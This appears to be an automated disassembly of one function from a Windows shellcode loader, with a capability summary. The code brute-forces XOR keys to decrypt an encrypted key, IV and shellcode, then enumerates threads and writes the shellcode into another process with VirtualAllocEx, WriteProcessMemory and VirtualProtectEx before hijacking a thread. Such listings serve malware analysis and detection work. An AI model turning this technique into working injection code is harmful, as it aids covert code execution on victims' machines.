Function at 0x140002900
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate threads

Disassembly:
push rbp
push rdi
push r13
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x70], rax
lea rcx, str._nDecrypting_Keys_n_n
call fcn.140002350
lea rcx, str.___Initializing_n
call fcn.140002350
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Key_and_Iv_n
call fcn.140002350
movzx r8d, byte [0x140006081]
xor r13d, r13d
mov edi, r13d
nop
mov ecx, r8d
mov eax, 0x80808081
xor ecx, edi
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
cmp ecx, 0x30
je 0x14000298f
inc edi
cmp edi, 0xff
jle 0x140002960
movsx eax, dil
lea rdx, [0x140006080]
mov ecx, r13d
movd xmm1, eax
mov rax, rdx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
add ecx, 0x10
lea rax, [rax + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rax - 0x10], xmm0
cmp ecx, 0x20
jb 0x1400029b1
movsxd rax, ecx
cmp rax, 0x20
jae 0x1400029ee
add rax, rdx
nop word [rax + rax]
xor byte [rax], dil
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x20
jb 0x1400029e0
test dil, dil
jne 0x140002a09
lea rcx, str.____Failed_to_Decrypt_Key
call fcn.140002350
mov eax, 0xffffffff
jmp 0x140002f26
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx r8d, byte [0x1400060a1]
mov edi, r13d
nop
mov ecx, r8d
mov eax, 0x80808081
xor ecx, edi
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
cmp ecx, 0xb7
je 0x140002a52
inc edi
cmp edi, 0xff
jle 0x140002a20
movsx eax, dil
lea rdx, [0x1400060a0]
mov ecx, r13d
movd xmm1, eax
mov rax, rdx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
add ecx, 0x10
lea rax, [rax + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rax - 0x10], xmm0
cmp ecx, 0x10
jb 0x140002a80
movsxd rax, ecx
cmp rax, 0x10
jae 0x140002abe
add rax, rdx
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], dil
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x10
jb 0x140002ab0
test dil, dil
jne 0x140002ad9
lea rcx, str.____Failed_to_Decrypt_Iv
call fcn.140002350
mov eax, 0xffffffff
jmp 0x140002f26
mov qword [rsp + 0x1c0], rbx
lea rcx, str._i__DONE__n_n_n
mov qword [rsp + 0x1c8], rsi
mov qword [rsp + 0x190], r15
call fcn.140002350
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Decrypting_Shellcode_n_n
call fcn.140002350
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140002b61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error:__d__n
call fcn.140002350
jmp 0x140002c40
xor eax, eax
mov qword [rsp + 0x1d0], r12
lea rdi, [rsp + 0x70]
mov qword [rsp + 0x198], r14
mov ecx, 0x100
movaps xmmword [rsp + 0x180], xmm6
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
call fcn.140001c50
movups xmm2, xmmword [0x1400060a0]
lea rbx, [rbp + 0x60]
mov rdi, r15
lea rsi, [0x1400060b0]
sub rbx, r15
movups xmmword [rbp + 0x60], xmm2
lea r14, [r15 + 0xf]
mov r12d, 0x20
nop word [rax + rax]
movups xmm6, xmmword [rsi]
mov r9, rsi
lea rcx, [rsp + 0x70]
mov r8, rdi
call fcn.140001f70
lea rax, [rbp + 0x6f]
cmp rdi, rax
ja 0x140002c02
lea rax, [rbp + 0x60]
cmp r14, rax
jb 0x140002c02
mov rcx, rdi
mov edx, 0x10
nop dword [rax]
movzx eax, byte [rcx + rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140002bf0
jmp 0x140002c0e
movdqu xmm0, xmmword [rdi]
xorps xmm0, xmmword [rbp + 0x60]
movdqu xmmword [rdi], xmm0
add rdi, 0x10
movups xmmword [rbp + 0x60], xmm6
add r14, 0x10
sub rbx, 0x10
add rsi, 0x10
sub r12, 1
jne 0x140002bc0
movaps xmm6, xmmword [rsp + 0x180]
mov r14, qword [rsp + 0x198]
mov r12, qword [rsp + 0x1d0]
lea rcx, str._i__DONE__n_n_n
call fcn.140002350
cmp byte [r15 + 0x1ff], r13b
mov rdi, r13
setne dil
add rdi, 0x1ff
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140002c92
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Memory_allocation_failed_n
call fcn.140002300
lea eax, [rsi + 1]
jmp 0x140002f0e
mov rcx, rsi
sub r15, rsi
nop dword [rax + rax]
movzx eax, byte [r15 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdi, 1
jne 0x140002ca0
lea rcx, str.Getting_Process_n_n
call fcn.140002350
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x60]
call fcn.140002450
lea rcx, str._n_nGetting_Thread_n_n
call fcn.140002350
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov qword [rsp + 0x40], 0x1c
lea ecx, [rdi + 4]
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov dword [rsp + 0x58], r13d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002d40
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateToolhelp32Snapszot_Failed_With_Error:__d__n
call fcn.140002350
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400023b0
jmp 0x140002dd0
lea rcx, str.___hSnapShot_in_thread_n
call fcn.140002350
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x140002d81
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n____Thread32First_Failed_With_Error_:__d__n
mov edx, eax
call fcn.140002350
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400023b0
jmp 0x140002dc7
lea rcx, str.___Thread32First_n
call fcn.140002350
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x140002dbb
mov ebx, dword [rsp + 0x60]
cmp dword [rsp + 0x4c], ebx
je 0x140002e27
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140002da3
lea rcx, str.___GetRemoteThreadhandle_Finish_n
call fcn.140002350
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str._n_nInjecting_Shellcode_n_n
call fcn.140002350
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x30]
xor edx, edx
mov r9d, 0x3000
mov qword [rsp + 0x68], r13
mov rcx, rbx
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x20], 4
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140002e59
lea rcx, str._n_t____VirtualAllocEx_Failed_With_Error_:__d__n
jmp 0x140002ee1
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140002dbb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n____OpenThread_Failed_With_Error_:__d__n
jmp 0x140002d6b
mov rdx, rdi
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140002350
lea rax, [rsp + 0x68]
mov r9d, 8
mov r8, rsi
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002eda
cmp qword [rsp + 0x68], 8
jne 0x140002eda
lea rcx, str.___WriteProcessMemory_n
call fcn.140002350
mov r9d, 0x40
lea rax, [rsp + 0x60]
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
lea r8d, [r9 - 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140002ecc
lea rcx, str._n_t____VirtualProtectEx_Failed_With_Error_:__d__n
jmp 0x140002ee1
lea rcx, str.___VirtualProtectEx_n
call fcn.140002350
jmp 0x140002ef3
lea rcx, str._n_t____WriteProcessMemory_Failed_With_Error_:__d__n
call fcn.140002350
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400023b0
lea rcx, str._n_nHijacking_Thread_..._n_n
call fcn.140002350
mov rcx, qword [rsp + 0x38]
mov rdx, rdi
call fcn.1400026d0
xor eax, eax
mov rsi, qword [rsp + 0x1c8]
mov rbx, qword [rsp + 0x1c0]
mov r15, qword [rsp + 0x190]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140002f50
add rsp, 0x1a0
pop r13
pop rdi
pop rbp
ret